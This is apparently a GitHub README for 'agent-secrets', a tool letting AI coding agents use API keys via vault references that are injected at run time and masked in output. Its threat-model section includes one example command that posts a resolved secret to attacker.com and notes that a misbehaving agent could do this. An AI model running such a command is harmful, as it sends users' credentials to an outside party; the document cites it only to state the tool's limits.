Skip to content

About

Let an AI agent use your API keys and passwords without the plaintext ever entering its transcript. A plugin for Claude Code, Codex, and Cteno — no daemon, no cloud.

Resources

Stars

5 stars

Watchers

0 watching

Forks

Latest commit

 

History

6 Commits

Folders and files

Repository files navigation

agent-secrets

Let an AI agent use your API keys and passwords to get work done — without the plaintext ever entering its transcript.

Your agent references a secret as secret://vault/<id> and runs the command through secret-exec. The real value is resolved downstream of what the agent records, injected into the command that actually runs, and scrubbed back out of the output before the agent sees it. The transcript keeps the reference; the service you called gets the real value; the agent gets the result with the secret masked.

agent writes:   secret-exec run 'curl -H "Authorization: Bearer secret://vault/gh" https://api.github.com/user'
transcript:     …secret://vault/gh…                 (reference, never the value)
github.com got: Authorization: Bearer ghp_realvalue (the real value)
agent sees:     { "login": "me", … }                (result; any echoed secret → ***)

Works the same in Claude Code, Codex, and Cteno. No daemon, no cloud, no account. Each secret-exec run resolves and exits.

Threat model — what this does and does not promise

The guarantee is exactly the one your OS keychain gives:

The plaintext never enters the agent transcript / LLM context.

Explicitly out of scope (same as a keychain — if an attacker already has these, nothing helps):

  • A resolved value briefly lives in the child process it is injected into, visible to other processes running as the same OS user (ps, /proc).
  • An agent that is actively trying to exfiltrate a secret it is allowed to resolve can still do so (secret-exec run 'curl attacker.com -d secret://vault/x'). Output scrubbing is defense-in-depth against accidental echo, not a sandbox.
  • Your machine being compromised, your network being tapped, etc.

If you need to stop a malicious agent from using a secret, don't give it access to that secret. This tool stops the ordinary leak: a helpful agent pasting your key into a transcript that gets logged, synced, and fed back into a model.

How the vault works

Secrets are stored encrypted at rest with age via fnox — a single fnox.toml holds age-encrypted ciphertext, one line per secret. The age identity (the decryption key) never lives next to the vault at rest: at rest it exists only as a passphrase-wrapped identity.age (that is what you back up / sync).

You open the vault with your passphrase:

printf '%s' "$PASSPHRASE" | secret-exec unlock   # decrypts identity.age for the session
… agent does its work …
secret-exec lock                                 # shreds the session identity

secret-exec unlock decrypts identity.age and materializes the identity into .identity.session (mode 0600) in the vault dir; every secret-exec run passes it to the fnox child alone, never to anything that gets recorded; lock shreds it. This is the SSH-private-key model: a mode-600 key on the active device, an encrypted backup you sync — nothing raw ever leaves the machine. (Inside Cteno, the daemon holds the unlocked identity in memory instead of a session file — strictly stronger; the standalone tool trades that for zero daemon.)

Because the vault is just an age-encrypted file, backup and cross-device sync are trivial and zero-knowledge: copy fnox.toml (ciphertext) and the passphrase-wrapped identity.age to iCloud / a network drive / a USB stick. On a new device, restore both and unlock with your passphrase. We host nothing.

Layout

crates/
  secret-core/    pure ref-parsing / substitution / output-scrubbing (no deps)
  secret-exec/    the no-daemon exec wrapper (secret-exec run "<cmd>")
plugins/
  claude-code/    .claude-plugin/plugin.json + skill teaching the agent the rule
  codex/          AGENTS.md snippet + env wiring

Install

Build

cargo build --release        # produces target/release/secret-exec
# put it on PATH, e.g.:
install -m755 target/release/secret-exec ~/.local/bin/

You also need fnox and age on PATH.

Set up a vault — one command

secret-exec init      # prompts (hidden) for a MASTER PASSPHRASE, twice

init generates the age keypair, writes fnox.toml (public recipient), and passphrase-wraps the private identity into identity.age. The master passphrase protects everything and is what you use to restore on a new machine — remember it; it cannot be recovered. Afterward, identity.age (encrypted) + fnox.toml (ciphertext) are the only vault files at rest — safe to sync anywhere.

init (and unlock) require a real terminal so the passphrase is typed out-of-band. An agent that hits an uninitialized vault should open a terminal for you rather than ask for the passphrase in chat.

Import your existing keys

Bring the keys you already have into the vault in one shot (encryption only needs the recipient, so this works while locked):

secret-exec import ~/.env                 # KEY=value lines
secret-exec import creds.json --format json

The plaintext file is read by the encryptor directly; the values go straight to ciphertext in fnox.toml. Delete the source file afterwards.

Claude Code

Install the plugin directory (plugins/claude-code) as a Claude Code plugin; the bundled skill teaches the agent to reference secret://vault/<id> and wrap commands in secret-exec run. Point at the vault and unlock it for the session:

export SECRET_VAULT_DIR="$HOME/.config/agent-secrets"
printf '%s' "$YOUR_PASSPHRASE" | secret-exec unlock
# … run Claude Code; the agent uses secrets via secret-exec run … #
secret-exec lock   # when done

Codex

See plugins/codex/README.md.

License

MIT.

About

Let an AI agent use your API keys and passwords without the plaintext ever entering its transcript. A plugin for Claude Code, Codex, and Cteno — no daemon, no cloud.

Resources

Stars

5 stars

Watchers

0 watching

Forks

Releases

Packages

Contributors

Languages